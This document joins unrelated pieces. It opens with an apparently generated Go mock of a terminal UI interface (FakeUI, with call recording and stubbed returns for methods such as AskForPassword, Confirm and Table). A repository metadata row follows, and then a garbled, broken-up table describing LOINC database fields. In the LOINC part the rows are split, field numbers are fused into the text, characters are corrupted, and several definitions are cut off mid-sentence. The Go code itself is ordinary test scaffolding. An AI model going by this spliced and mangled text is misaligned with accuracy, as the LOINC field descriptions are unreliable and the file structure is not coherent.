fake.askForPasswordMutex.RLock()
defer fake.askForPasswordMutex.RUnlock()
return len(fake.askForPasswordArgsForCall)
}
func (fake *FakeUI) AskForPasswordCalls(stub func(string) string) {
fake.askForPasswordMutex.Lock()
defer fake.askForPasswordMutex.Unlock()
fake.AskForPasswordStub = stub
}
func (fake *FakeUI) AskForPasswordArgsForCall(i int) string {
fake.askForPasswordMutex.RLock()
defer fake.askForPasswordMutex.RUnlock()
argsForCall := fake.askForPasswordArgsForCall[i]
return argsForCall.arg1
}
func (fake *FakeUI) AskForPasswordReturns(result1 string) {
fake.askForPasswordMutex.Lock()
defer fake.askForPasswordMutex.Unlock()
fake.AskForPasswordStub = nil
fake.askForPasswordReturns = struct {
result1 string
}{result1}
}
func (fake *FakeUI) AskForPasswordReturnsOnCall(i int, result1 string) {
fake.askForPasswordMutex.Lock()
defer fake.askForPasswordMutex.Unlock()
fake.AskForPasswordStub = nil
if fake.askForPasswordReturnsOnCall == nil {
fake.askForPasswordReturnsOnCall = make(map[int]struct {
result1 string
})
}
fake.askForPasswordReturnsOnCall[i] = struct {
result1 string
}{result1}
}
func (fake *FakeUI) Confirm(arg1 string) bool {
fake.confirmMutex.Lock()
ret, specificReturn := fake.confirmReturnsOnCall[len(fake.confirmArgsForCall)]
fake.confirmArgsForCall = append(fake.confirmArgsForCall, struct {
arg1 string
}{arg1})
fake.recordInvocation("Confirm", []interface{}{arg1})
fake.confirmMutex.Unlock()
if fake.ConfirmStub != nil {
return fake.ConfirmStub(arg1)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.confirmReturns
return fakeReturns.result1
}
func (fake *FakeUI) ConfirmCallCount() int {
fake.confirmMutex.RLock()
defer fake.confirmMutex.RUnlock()
return len(fake.confirmArgsForCall)
}
func (fake *FakeUI) ConfirmCalls(stub func(string) bool) {
fake.confirmMutex.Lock()
defer fake.confirmMutex.Unlock()
fake.ConfirmStub = stub
}
func (fake *FakeUI) ConfirmArgsForCall(i int) string {
fake.confirmMutex.RLock()
defer fake.confirmMutex.RUnlock()
argsForCall := fake.confirmArgsForCall[i]
return argsForCall.arg1
}
func (fake *FakeUI) ConfirmReturns(result1 bool) {
fake.confirmMutex.Lock()
defer fake.confirmMutex.Unlock()
fake.ConfirmStub = nil
fake.confirmReturns = struct {
result1 bool
}{result1}
}
func (fake *FakeUI) ConfirmReturnsOnCall(i int, result1 bool) {
fake.confirmMutex.Lock()
defer fake.confirmMutex.Unlock()
fake.ConfirmStub = nil
if fake.confirmReturnsOnCall == nil {
fake.confirmReturnsOnCall = make(map[int]struct {
result1 bool
})
}
fake.confirmReturnsOnCall[i] = struct {
result1 bool
}{result1}
}
func (fake *FakeUI) ConfirmDelete(arg1 string, arg2 string) bool {
fake.confirmDeleteMutex.Lock()
ret, specificReturn := fake.confirmDeleteReturnsOnCall[len(fake.confirmDeleteArgsForCall)]
fake.confirmDeleteArgsForCall = append(fake.confirmDeleteArgsForCall, struct {
arg1 string
arg2 string
}{arg1, arg2})
fake.recordInvocation("ConfirmDelete", []interface{}{arg1, arg2})
fake.confirmDeleteMutex.Unlock()
if fake.ConfirmDeleteStub != nil {
return fake.ConfirmDeleteStub(arg1, arg2)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.confirmDeleteReturns
return fakeReturns.result1
}
func (fake *FakeUI) ConfirmDeleteCallCount() int {
fake.confirmDeleteMutex.RLock()
defer fake.confirmDeleteMutex.RUnlock()
return len(fake.confirmDeleteArgsForCall)
}
func (fake *FakeUI) ConfirmDeleteCalls(stub func(string, string) bool) {
fake.confirmDeleteMutex.Lock()
defer fake.confirmDeleteMutex.Unlock()
fake.ConfirmDeleteStub = stub
}
func (fake *FakeUI) ConfirmDeleteArgsForCall(i int) (string, string) {
fake.confirmDeleteMutex.RLock()
defer fake.confirmDeleteMutex.RUnlock()
argsForCall := fake.confirmDeleteArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) ConfirmDeleteReturns(result1 bool) {
fake.confirmDeleteMutex.Lock()
defer fake.confirmDeleteMutex.Unlock()
fake.ConfirmDeleteStub = nil
fake.confirmDeleteReturns = struct {
result1 bool
}{result1}
}
func (fake *FakeUI) ConfirmDeleteReturnsOnCall(i int, result1 bool) {
fake.confirmDeleteMutex.Lock()
defer fake.confirmDeleteMutex.Unlock()
fake.ConfirmDeleteStub = nil
if fake.confirmDeleteReturnsOnCall == nil {
fake.confirmDeleteReturnsOnCall = make(map[int]struct {
result1 bool
})
}
fake.confirmDeleteReturnsOnCall[i] = struct {
result1 bool
}{result1}
}
func (fake *FakeUI) ConfirmDeleteWithAssociations(arg1 string, arg2 string) bool {
fake.confirmDeleteWithAssociationsMutex.Lock()
ret, specificReturn := fake.confirmDeleteWithAssociationsReturnsOnCall[len(fake.confirmDeleteWithAssociationsArgsForCall)]
fake.confirmDeleteWithAssociationsArgsForCall = append(fake.confirmDeleteWithAssociationsArgsForCall, struct {
arg1 string
arg2 string
}{arg1, arg2})
fake.recordInvocation("ConfirmDeleteWithAssociations", []interface{}{arg1, arg2})
fake.confirmDeleteWithAssociationsMutex.Unlock()
if fake.ConfirmDeleteWithAssociationsStub != nil {
return fake.ConfirmDeleteWithAssociationsStub(arg1, arg2)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.confirmDeleteWithAssociationsReturns
return fakeReturns.result1
}
func (fake *FakeUI) ConfirmDeleteWithAssociationsCallCount() int {
fake.confirmDeleteWithAssociationsMutex.RLock()
defer fake.confirmDeleteWithAssociationsMutex.RUnlock()
return len(fake.confirmDeleteWithAssociationsArgsForCall)
}
func (fake *FakeUI) ConfirmDeleteWithAssociationsCalls(stub func(string, string) bool) {
fake.confirmDeleteWithAssociationsMutex.Lock()
defer fake.confirmDeleteWithAssociationsMutex.Unlock()
fake.ConfirmDeleteWithAssociationsStub = stub
}
func (fake *FakeUI) ConfirmDeleteWithAssociationsArgsForCall(i int) (string, string) {
fake.confirmDeleteWithAssociationsMutex.RLock()
defer fake.confirmDeleteWithAssociationsMutex.RUnlock()
argsForCall := fake.confirmDeleteWithAssociationsArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) ConfirmDeleteWithAssociationsReturns(result1 bool) {
fake.confirmDeleteWithAssociationsMutex.Lock()
defer fake.confirmDeleteWithAssociationsMutex.Unlock()
fake.ConfirmDeleteWithAssociationsStub = nil
fake.confirmDeleteWithAssociationsReturns = struct {
result1 bool
}{result1}
}
func (fake *FakeUI) ConfirmDeleteWithAssociationsReturnsOnCall(i int, result1 bool) {
fake.confirmDeleteWithAssociationsMutex.Lock()
defer fake.confirmDeleteWithAssociationsMutex.Unlock()
fake.ConfirmDeleteWithAssociationsStub = nil
if fake.confirmDeleteWithAssociationsReturnsOnCall == nil {
fake.confirmDeleteWithAssociationsReturnsOnCall = make(map[int]struct {
result1 bool
})
}
fake.confirmDeleteWithAssociationsReturnsOnCall[i] = struct {
result1 bool
}{result1}
}
func (fake *FakeUI) Failed(arg1 string, arg2 ...interface{}) {
fake.failedMutex.Lock()
fake.failedArgsForCall = append(fake.failedArgsForCall, struct {
arg1 string
arg2 []interface{}
}{arg1, arg2})
fake.recordInvocation("Failed", []interface{}{arg1, arg2})
fake.failedMutex.Unlock()
if fake.FailedStub != nil {
fake.FailedStub(arg1, arg2...)
}
}
func (fake *FakeUI) FailedCallCount() int {
fake.failedMutex.RLock()
defer fake.failedMutex.RUnlock()
return len(fake.failedArgsForCall)
}
func (fake *FakeUI) FailedCalls(stub func(string, ...interface{})) {
fake.failedMutex.Lock()
defer fake.failedMutex.Unlock()
fake.FailedStub = stub
}
func (fake *FakeUI) FailedArgsForCall(i int) (string, []interface{}) {
fake.failedMutex.RLock()
defer fake.failedMutex.RUnlock()
argsForCall := fake.failedArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) LoadingIndication() {
fake.loadingIndicationMutex.Lock()
fake.loadingIndicationArgsForCall = append(fake.loadingIndicationArgsForCall, struct {
}{})
fake.recordInvocation("LoadingIndication", []interface{}{})
fake.loadingIndicationMutex.Unlock()
if fake.LoadingIndicationStub != nil {
fake.LoadingIndicationStub()
}
}
func (fake *FakeUI) LoadingIndicationCallCount() int {
fake.loadingIndicationMutex.RLock()
defer fake.loadingIndicationMutex.RUnlock()
return len(fake.loadingIndicationArgsForCall)
}
func (fake *FakeUI) LoadingIndicationCalls(stub func()) {
fake.loadingIndicationMutex.Lock()
defer fake.loadingIndicationMutex.Unlock()
fake.LoadingIndicationStub = stub
}
func (fake *FakeUI) NotifyUpdateIfNeeded(arg1 coreconfig.Reader) {
fake.notifyUpdateIfNeededMutex.Lock()
fake.notifyUpdateIfNeededArgsForCall = append(fake.notifyUpdateIfNeededArgsForCall, struct {
arg1 coreconfig.Reader
}{arg1})
fake.recordInvocation("NotifyUpdateIfNeeded", []interface{}{arg1})
fake.notifyUpdateIfNeededMutex.Unlock()
if fake.NotifyUpdateIfNeededStub != nil {
fake.NotifyUpdateIfNeededStub(arg1)
}
}
func (fake *FakeUI) NotifyUpdateIfNeededCallCount() int {
fake.notifyUpdateIfNeededMutex.RLock()
defer fake.notifyUpdateIfNeededMutex.RUnlock()
return len(fake.notifyUpdateIfNeededArgsForCall)
}
func (fake *FakeUI) NotifyUpdateIfNeededCalls(stub func(coreconfig.Reader)) {
fake.notifyUpdateIfNeededMutex.Lock()
defer fake.notifyUpdateIfNeededMutex.Unlock()
fake.NotifyUpdateIfNeededStub = stub
}
func (fake *FakeUI) NotifyUpdateIfNeededArgsForCall(i int) coreconfig.Reader {
fake.notifyUpdateIfNeededMutex.RLock()
defer fake.notifyUpdateIfNeededMutex.RUnlock()
argsForCall := fake.notifyUpdateIfNeededArgsForCall[i]
return argsForCall.arg1
}
func (fake *FakeUI) Ok() {
fake.okMutex.Lock()
fake.okArgsForCall = append(fake.okArgsForCall, struct {
}{})
fake.recordInvocation("Ok", []interface{}{})
fake.okMutex.Unlock()
if fake.OkStub != nil {
fake.OkStub()
}
}
func (fake *FakeUI) OkCallCount() int {
fake.okMutex.RLock()
defer fake.okMutex.RUnlock()
return len(fake.okArgsForCall)
}
func (fake *FakeUI) OkCalls(stub func()) {
fake.okMutex.Lock()
defer fake.okMutex.Unlock()
fake.OkStub = stub
}
func (fake *FakeUI) PrintCapturingNoOutput(arg1 string, arg2 ...interface{}) {
fake.printCapturingNoOutputMutex.Lock()
fake.printCapturingNoOutputArgsForCall = append(fake.printCapturingNoOutputArgsForCall, struct {
arg1 string
arg2 []interface{}
}{arg1, arg2})
fake.recordInvocation("PrintCapturingNoOutput", []interface{}{arg1, arg2})
fake.printCapturingNoOutputMutex.Unlock()
if fake.PrintCapturingNoOutputStub != nil {
fake.PrintCapturingNoOutputStub(arg1, arg2...)
}
}
func (fake *FakeUI) PrintCapturingNoOutputCallCount() int {
fake.printCapturingNoOutputMutex.RLock()
defer fake.printCapturingNoOutputMutex.RUnlock()
return len(fake.printCapturingNoOutputArgsForCall)
}
func (fake *FakeUI) PrintCapturingNoOutputCalls(stub func(string, ...interface{})) {
fake.printCapturingNoOutputMutex.Lock()
defer fake.printCapturingNoOutputMutex.Unlock()
fake.PrintCapturingNoOutputStub = stub
}
func (fake *FakeUI) PrintCapturingNoOutputArgsForCall(i int) (string, []interface{}) {
fake.printCapturingNoOutputMutex.RLock()
defer fake.printCapturingNoOutputMutex.RUnlock()
argsForCall := fake.printCapturingNoOutputArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) PrintPaginator(arg1 []string, arg2 error) {
var arg1Copy []string
if arg1 != nil {
arg1Copy = make([]string, len(arg1))
copy(arg1Copy, arg1)
}
fake.printPaginatorMutex.Lock()
fake.printPaginatorArgsForCall = append(fake.printPaginatorArgsForCall, struct {
arg1 []string
arg2 error
}{arg1Copy, arg2})
fake.recordInvocation("PrintPaginator", []interface{}{arg1Copy, arg2})
fake.printPaginatorMutex.Unlock()
if fake.PrintPaginatorStub != nil {
fake.PrintPaginatorStub(arg1, arg2)
}
}
func (fake *FakeUI) PrintPaginatorCallCount() int {
fake.printPaginatorMutex.RLock()
defer fake.printPaginatorMutex.RUnlock()
return len(fake.printPaginatorArgsForCall)
}
func (fake *FakeUI) PrintPaginatorCalls(stub func([]string, error)) {
fake.printPaginatorMutex.Lock()
defer fake.printPaginatorMutex.Unlock()
fake.PrintPaginatorStub = stub
}
func (fake *FakeUI) PrintPaginatorArgsForCall(i int) ([]string, error) {
fake.printPaginatorMutex.RLock()
defer fake.printPaginatorMutex.RUnlock()
argsForCall := fake.printPaginatorArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) Say(arg1 string, arg2 ...interface{}) {
fake.sayMutex.Lock()
fake.sayArgsForCall = append(fake.sayArgsForCall, struct {
arg1 string
arg2 []interface{}
}{arg1, arg2})
fake.recordInvocation("Say", []interface{}{arg1, arg2})
fake.sayMutex.Unlock()
if fake.SayStub != nil {
fake.SayStub(arg1, arg2...)
}
}
func (fake *FakeUI) SayCallCount() int {
fake.sayMutex.RLock()
defer fake.sayMutex.RUnlock()
return len(fake.sayArgsForCall)
}
func (fake *FakeUI) SayCalls(stub func(string, ...interface{})) {
fake.sayMutex.Lock()
defer fake.sayMutex.Unlock()
fake.SayStub = stub
}
func (fake *FakeUI) SayArgsForCall(i int) (string, []interface{}) {
fake.sayMutex.RLock()
defer fake.sayMutex.RUnlock()
argsForCall := fake.sayArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) ShowConfiguration(arg1 coreconfig.Reader) error {
fake.showConfigurationMutex.Lock()
ret, specificReturn := fake.showConfigurationReturnsOnCall[len(fake.showConfigurationArgsForCall)]
fake.showConfigurationArgsForCall = append(fake.showConfigurationArgsForCall, struct {
arg1 coreconfig.Reader
}{arg1})
fake.recordInvocation("ShowConfiguration", []interface{}{arg1})
fake.showConfigurationMutex.Unlock()
if fake.ShowConfigurationStub != nil {
return fake.ShowConfigurationStub(arg1)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.showConfigurationReturns
return fakeReturns.result1
}
func (fake *FakeUI) ShowConfigurationCallCount() int {
fake.showConfigurationMutex.RLock()
defer fake.showConfigurationMutex.RUnlock()
return len(fake.showConfigurationArgsForCall)
}
func (fake *FakeUI) ShowConfigurationCalls(stub func(coreconfig.Reader) error) {
fake.showConfigurationMutex.Lock()
defer fake.showConfigurationMutex.Unlock()
fake.ShowConfigurationStub = stub
}
func (fake *FakeUI) ShowConfigurationArgsForCall(i int) coreconfig.Reader {
fake.showConfigurationMutex.RLock()
defer fake.showConfigurationMutex.RUnlock()
argsForCall := fake.showConfigurationArgsForCall[i]
return argsForCall.arg1
}
func (fake *FakeUI) ShowConfigurationReturns(result1 error) {
fake.showConfigurationMutex.Lock()
defer fake.showConfigurationMutex.Unlock()
fake.ShowConfigurationStub = nil
fake.showConfigurationReturns = struct {
result1 error
}{result1}
}
func (fake *FakeUI) ShowConfigurationReturnsOnCall(i int, result1 error) {
fake.showConfigurationMutex.Lock()
defer fake.showConfigurationMutex.Unlock()
fake.ShowConfigurationStub = nil
if fake.showConfigurationReturnsOnCall == nil {
fake.showConfigurationReturnsOnCall = make(map[int]struct {
result1 error
})
}
fake.showConfigurationReturnsOnCall[i] = struct {
result1 error
}{result1}
}
func (fake *FakeUI) Table(arg1 []string) *terminal.UITable {
var arg1Copy []string
if arg1 != nil {
arg1Copy = make([]string, len(arg1))
copy(arg1Copy, arg1)
}
fake.tableMutex.Lock()
ret, specificReturn := fake.tableReturnsOnCall[len(fake.tableArgsForCall)]
fake.tableArgsForCall = append(fake.tableArgsForCall, struct {
arg1 []string
}{arg1Copy})
fake.recordInvocation("Table", []interface{}{arg1Copy})
fake.tableMutex.Unlock()
if fake.TableStub != nil {
return fake.TableStub(arg1)
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.tableReturns
return fakeReturns.result1
}
func (fake *FakeUI) TableCallCount() int {
fake.tableMutex.RLock()
defer fake.tableMutex.RUnlock()
return len(fake.tableArgsForCall)
}
func (fake *FakeUI) TableCalls(stub func([]string) *terminal.UITable) {
fake.tableMutex.Lock()
defer fake.tableMutex.Unlock()
fake.TableStub = stub
}
func (fake *FakeUI) TableArgsForCall(i int) []string {
fake.tableMutex.RLock()
defer fake.tableMutex.RUnlock()
argsForCall := fake.tableArgsForCall[i]
return argsForCall.arg1
}
func (fake *FakeUI) TableReturns(result1 *terminal.UITable) {
fake.tableMutex.Lock()
defer fake.tableMutex.Unlock()
fake.TableStub = nil
fake.tableReturns = struct {
result1 *terminal.UITable
}{result1}
}
func (fake *FakeUI) TableReturnsOnCall(i int, result1 *terminal.UITable) {
fake.tableMutex.Lock()
defer fake.tableMutex.Unlock()
fake.TableStub = nil
if fake.tableReturnsOnCall == nil {
fake.tableReturnsOnCall = make(map[int]struct {
result1 *terminal.UITable
})
}
fake.tableReturnsOnCall[i] = struct {
result1 *terminal.UITable
}{result1}
}
func (fake *FakeUI) Warn(arg1 string, arg2 ...interface{}) {
fake.warnMutex.Lock()
fake.warnArgsForCall = append(fake.warnArgsForCall, struct {
arg1 string
arg2 []interface{}
}{arg1, arg2})
fake.recordInvocation("Warn", []interface{}{arg1, arg2})
fake.warnMutex.Unlock()
if fake.WarnStub != nil {
fake.WarnStub(arg1, arg2...)
}
}
func (fake *FakeUI) WarnCallCount() int {
fake.warnMutex.RLock()
defer fake.warnMutex.RUnlock()
return len(fake.warnArgsForCall)
}
func (fake *FakeUI) WarnCalls(stub func(string, ...interface{})) {
fake.warnMutex.Lock()
defer fake.warnMutex.Unlock()
fake.WarnStub = stub
}
func (fake *FakeUI) WarnArgsForCall(i int) (string, []interface{}) {
fake.warnMutex.RLock()
defer fake.warnMutex.RUnlock()
argsForCall := fake.warnArgsForCall[i]
return argsForCall.arg1, argsForCall.arg2
}
func (fake *FakeUI) Writer() io.Writer {
fake.writerMutex.Lock()
ret, specificReturn := fake.writerReturnsOnCall[len(fake.writerArgsForCall)]
fake.writerArgsForCall = append(fake.writerArgsForCall, struct {
}{})
fake.recordInvocation("Writer", []interface{}{})
fake.writerMutex.Unlock()
if fake.WriterStub != nil {
return fake.WriterStub()
}
if specificReturn {
return ret.result1
}
fakeReturns := fake.writerReturns
return fakeReturns.result1
}
func (fake *FakeUI) WriterCallCount() int {
fake.writerMutex.RLock()
defer fake.writerMutex.RUnlock()
return len(fake.writerArgsForCall)
}
func (fake *FakeUI) WriterCalls(stub func() io.Writer) {
fake.writerMutex.Lock()
defer fake.writerMutex.Unlock()
fake.WriterStub = stub
}
func (fake *FakeUI) WriterReturns(result1 io.Writer) {
fake.writerMutex.Lock()
defer fake.writerMutex.Unlock()
fake.WriterStub = nil
fake.writerReturns = struct {
result1 io.Writer
}{result1}
}
func (fake *FakeUI) WriterReturnsOnCall(i int, result1 io.Writer) {
fake.writerMutex.Lock()
defer fake.writerMutex.Unlock()
fake.WriterStub = nil
if fake.writerReturnsOnCall == nil {
fake.writerReturnsOnCall = make(map[int]struct {
result1 io.Writer
})
}
fake.writerReturnsOnCall[i] = struct {
result1 io.Writer
}{result1}
}
func (fake *FakeUI) Invocations() map[string][][]interface{} {
fake.invocationsMutex.RLock()
defer fake.invocationsMutex.RUnlock()
fake.askMutex.RLock()
defer fake.askMutex.RUnlock()
fake.askForPasswordMutex.RLock()
defer fake.askForPasswordMutex.RUnlock()
fake.confirmMutex.RLock()
defer fake.confirmMutex.RUnlock()
fake.confirmDeleteMutex.RLock()
defer fake.confirmDeleteMutex.RUnlock()
fake.confirmDeleteWithAssociationsMutex.RLock()
defer fake.confirmDeleteWithAssociationsMutex.RUnlock()
fake.failedMutex.RLock()
defer fake.failedMutex.RUnlock()
fake.loadingIndicationMutex.RLock()
defer fake.loadingIndicationMutex.RUnlock()
fake.notifyUpdateIfNeededMutex.RLock()
defer fake.notifyUpdateIfNeededMutex.RUnlock()
fake.okMutex.RLock()
defer fake.okMutex.RUnlock()
fake.printCapturingNoOutputMutex.RLock()
defer fake.printCapturingNoOutputMutex.RUnlock()
fake.printPaginatorMutex.RLock()
defer fake.printPaginatorMutex.RUnlock()
fake.sayMutex.RLock()
defer fake.sayMutex.RUnlock()
fake.showConfigurationMutex.RLock()
defer fake.showConfigurationMutex.RUnlock()
fake.tableMutex.RLock()
defer fake.tableMutex.RUnlock()
fake.warnMutex.RLock()
defer fake.warnMutex.RUnlock()
fake.writerMutex.RLock()
defer fake.writerMutex.RUnlock()
copiedInvocations := map[string][][]interface{}{}
for key, value := range fake.invocations {
copiedInvocations[key] = value
}
return copiedInvocations
}
func (fake *FakeUI) recordInvocation(key string, args []interface{}) {
fake.invocationsMutex.Lock()
defer fake.invocationsMutex.Unlock()
if fake.invocations == nil {
fake.invocations = map[string][][]interface{}{}
}
if fake.invocations[key] == nil {
fake.invocations[key] = [][]interface{}{}
}
fake.invocations[key] = append(fake.invocations[key], args)
}
var _ terminal.UI = new(FakeUI)
| 28.326486 | 123 | 0.764598 |
89b38ed0ed2945401eb09a3b6f38fc7bcd53b4a5 | 10,337 | sql | SQL | extras/loinc/Postgresql/loinc_comment.sql | thewileylab/mimic-omop | fa5113c3f0777e74d2a6b302322477e6fe666910 | [
"MIT"
] | 84 | 2018-01-26T12:02:32.000Z | 2022-03-28T23:50:14.000Z | extras/loinc/Postgresql/loinc_comment.sql | thewileylab/mimic-omop | fa5113c3f0777e74d2a6b302322477e6fe666910 | [
"MIT"
] | 55 | 2018-01-23T15:00:02.000Z | 2022-03-25T15:36:58.000Z | extras/loinc/Postgresql/loinc_comment.sql | thewileylab/mimic-omop | fa5113c3f0777e74d2a6b302322477e6fe666910 | [
"MIT"
] | 40 | 2018-02-07T17:14:08.000Z | 2022-03-08T02:59:43.000Z | 1. LOINC_NUM,Text,10 The unique LOINC Code is a string in the format of nnnnnnnn-n.
2. COMPONENT,Text,255 First major axis-component or analyte
3. PROPERTY,Text,"30 Second major axis-property observed (e.g., mass vs. substance)"
"Third major axis-timing of the measurement (e.g., point in time vs 24 4. TIME_ASPCT",Text,15
"",,hours)
5. SYSTEM,Text,"100 Fourth major axis-type of specimen or system (e.g., serum vs urine)"
"Fifth major axis-scale of measurement (e.g., qualitative vs. 6. SCALE_TYP",Text,30
"",,quantitative)
7. METHOD_TYP,Text,50 Sixth major axis-method of measurement
"",,An arbitrary classification of the terms for grouping related
"",,observations together.
"",,The current classifications are listed in Table 32. We present the
"",,database sorted by the class field within class type (see field 23).
"",,Users of the database should feel free to re-sort the database in any
8. CLASS,Text,20
"",,"way they find useful, and/or to add their own classifying fields to the"
"",,database.
"",,
"",,The content of the laboratory test subclasses should be obvious from
"",,the subclass name.
"",,The LOINC version number in which the record has last changed. For
9. VersionLastChanged,Text,"10 records that have never been updated after their release, this field will"
"",,contain the same value as the loinc.VersionFirstReleased field.
"",,Change Type Code
"",,
"",,DEL = delete (deprecate)
"",,
"",,ADD = add
"",,
10. CHNG_TYPE,Text,3 NAM = change to Analyte/Component (field #2);
"",,
"",,MAJ = change to name field other than #2 (#3 - #7);
"",,
"",,MIN = change to field other than name
"",,
"",,UND = undelete
"",,Narrative text that describes the LOINC term taken as a whole
"(i.e., taking all of the parts of the term together) or relays information 11. DefinitionDescription",Memo,-
"",,"specific to the term, such as the context in which the term was"
"",,requested or its clinical utility.
"",,,ACTIVE = Concept is active. Use at will.
"",,,
"",,,TRIAL = Concept is experimental in nature. Use with caution as the
"",,,concept and associated attributes may change.
"",,,
"",,,DISCOURAGED = Concept is not recommended for current use. New
"",,,mappings to this concept are discouraged;
"",,,although existing may mappings may continue to be valid in context.
12. STATUS,Text,11,"Wherever possible, the superseding concept is indicated in the MAP_"
"",,,TO field in the MAP_TO table
"",,,(see Table 31b) and should be used instead.
"",,,
"",,,"DEPRECATED = Concept is deprecated. Concept should not be used,"
"",,,"but it is retained in LOINC for historical purposes. Wherever possible,"
"",,,the superseding concept is
"",,,indicated in the MAP_TO field (see Table 31b) and should be used both
"",,,for new mappings and updating existing implementations.
"",,,An experimental (beta) consumer friendly name for this item. The
"",,,intent is to provide a test name that health care consumers will
"",,,recognize;
it will be similar to the names that might appear on a lab report and 13. CONSUMER_NAME,Text,255,
"",,,is not guaranteed to be unique because some elements of the LOINC
"",,,name are likely to be omitted.
"",,,"We will continue to modify these names in future release, so do not"
"",,,expect it to be stable (or perfect). Feedback is welcome.
"",,,1=Laboratory class; 2=Clinical class; 3=Claims attachments;
14. CLASSTYPE,Number,-,
"",,,4=Surveys
"",,,"Contains the formula in human readable form, for calculating the value"
"",,,of any measure that is based on an algebraic or other formula except
15. FORMULA,Memo,-,those for which
"",,,the component expresses the formula. So Sodium/creatinine does not
"",,,"need a formula, but Free T3 index does."
"",,,"Codes detailing which non-human species the term applies to. If blank,"
16. SPECIES,Text,20,
"",,,“human†is assumed.
"For some tests and measurements, we have supplied examples of valid 17. EXMPL_ANSWERS",Memo,-,
"",,,"answers, such as “1:64â€, “negative @ 1:16â€, or “55â€."
18. SURVEY_QUEST_TEXT,Memo,-,Verbatim question from the survey instrument
19. SURVEY_QUEST_SRC,Text,50,Exact name of the survey instrument and the item/question number
Y/N field that indicates that units are required when this LOINC is 20. UNITSREQUIRED,Text,1,
"",,,included as an OBX segment in a HIPAA attachment
21. SUBMITTED_UNITS,Text,30,Units as received from person who requested this LOINC term
"",,,This field was introduced in version 2.05. It contains synonyms for
22. RELATEDNAMES2,Memo,-,"each of the parts of the fully specified LOINC name (component,"
"",,,"property, time, system, scale, method)."
"",,,"Introduced in version 2.07, this field contains the short form of the"
23. SHORTNAME,Text,40,LOINC name and is created via a table-driven algorithmic process.
"",,,The short name often includes abbreviations and acronyms.
"",,,"Defines term as order only, observation only, or both. A fourth"
"",,,"category, Subset, is used for terms that are subsets of a panel but do"
"",,,not represent
a package that is known to be orderable. We have defined them only 24. ORDER_OBS,Text,15,
"",,,to make it easier to maintain panels or other sets within the LOINC
"",,,construct.
"",,,This field reflects our best approximation of the terms intended use; it
"",,,is not to be considered normative or a binding resolution.
"“Y†in this field means that the term is a part of subset of terms used by 25. CDISC_COMMON_TESTS",Text,1,
"",,,CDISC in clinical trials.
"",,,A value in this field means that the content should be delivered in the
"",,,named field/subfield of the HL7 message.
26. HL7_FIELD_SUBFIELD_ID,Text,50,"When NULL, the data for this data element should be sent in an OBX"
"",,,segment with this LOINC code stored in OBX-3 and with the value in
"",,,the OBX-5.
27. EXTERNAL_COPYRIGHT_,,,
"",Memo,-,External copyright holders copyright notice for this LOINC code
NOTICE,,,
"",,,This field is populated with a combination of submitters units and units
"that people have sent us. Its purpose is to show users representative, 28. EXAMPLE_UNITS",Text,255,
"",,,"but not necessarily recommended, units in which data could be sent"
"",,,for this term.
"",,,This field contains the LOINC name in a more readable format than the
"",,,fully specified name.
The long common names have been created via a table-driven 29. LONG_COMMON_NAME,Text,255,
"",,,algorithmic process.
"",,,Most abbreviations and acronyms that are used in the LOINC database
"",,,have been fully spelled out in English.
"",,,Units of measure (expressed using UCUM units) and normal ranges for
"",,,physical quantities and survey scores.
"",,,Intended as tailorable starter sets for applications that use LOINC
"",,,forms as a way to capture data.
"",,,Units are separated from normal ranges by a colon (:) and sets of
"",,,unit:normal range pairs are separated by a semi-colon (;).
30. UnitsAndRange,Memo,-,
"",,,"Syntax for the normal range includes square brackets, which mean that"
"",,,"the number adjacent to the bracket is included, and parentheses,"
"",,,which means that the number itself is not included.
"",,,"For example, [2,4] means “two to fourâ€, while [2,4) means “two to less"
"",,,"than four†and (2,4) means “between two and four but does not include"
"",,,two and fourâ€.
"",,,"Classification of whether this LOINC code can be used a full document,"
"",,,"a section of a document, or both."
31. DOCUMENT_SECTION,Text,255,"This field was created in the context of HL7 CDA messaging, and"
"",,,populated in collaboration with the HL7 Structured Documents Work
"",,,Group.
"",,,The Unified Code for Units of Measure (UCUM) is a code system
"",,,intended to include all units of measures being contemporarily
"used in international science, engineering, and business. (www.32. EXAMPLE_UCUM_UNITS",Text,255,
"",,,unitsofmeasure.org)
"",,,This field contains example units of measures for this term expressed
"",,,as UCUM units.
"",,,The Unified Code for Units of Measure (UCUM) is a code system
"",,,intended to include all units of measures being contemporarily
"used in international science, engineering, and business. (www.33. EXAMPLE_SI_UCUM_UNITS",Text,255,
"",,,unitsofmeasure.org)
"",,,This field contains example units of measures for this term expressed
"",,,as SI UCUM units.
"",,,Classification of the reason for concept status.
"",,,"This field will be Null for ACTIVE concepts, and optionally populated"
34. STATUS_REASON,Text,9,for terms in other status where the reason is clear.
"",,,DEPRECATED or DISCOURAGED terms may take values of:
"",,,"AMBIGUOUS, DUPLICATE, or ERRONEOUS."
"",,,Explanation of concept status in narrative text.
35. STATUS_TEXT,Memo,-,"This field will be Null for ACTIVE concepts, and optionally populated"
"",,,for terms in other status.
36. CHANGE_REASON_PUBLIC,Memo,-,Detailed explanation about special changes to the term over time.
Ranking of approximately 2000 common tests performed by 37. COMMON_TEST_RANK,Number,-,
"",,,laboratories in USA.
38. COMMON_ORDER_RANK,Number,-,"Ranking of approximately 300 common orders performed by
39. COMMON_SI_TEST_RANK,Number,-,"Corresponding SI terms for 2000 common tests performed by
STRUCTURE",Text,15,"This field will be populated in collaboration with the HL7 Attachments
2.58, the text will either be “IG exists†(previously STRUCTURED)
41. EXTERNAL_COPYRIGHT_LINK,Text,255,"For terms that have a third party copyright, this field is populated with
42. PanelType,Text,50,"Describes a panel as a “Convenience groupâ€, “Organizerâ€, or “Panelâ€.
common purpose, but not typically orderable as a single unit.
An “Organizer†is a subpanel (i.e., a child) within another panel that is
only used to group together a set of terms, but is not an independently
They often represent a header in a form, or serve as a navigation
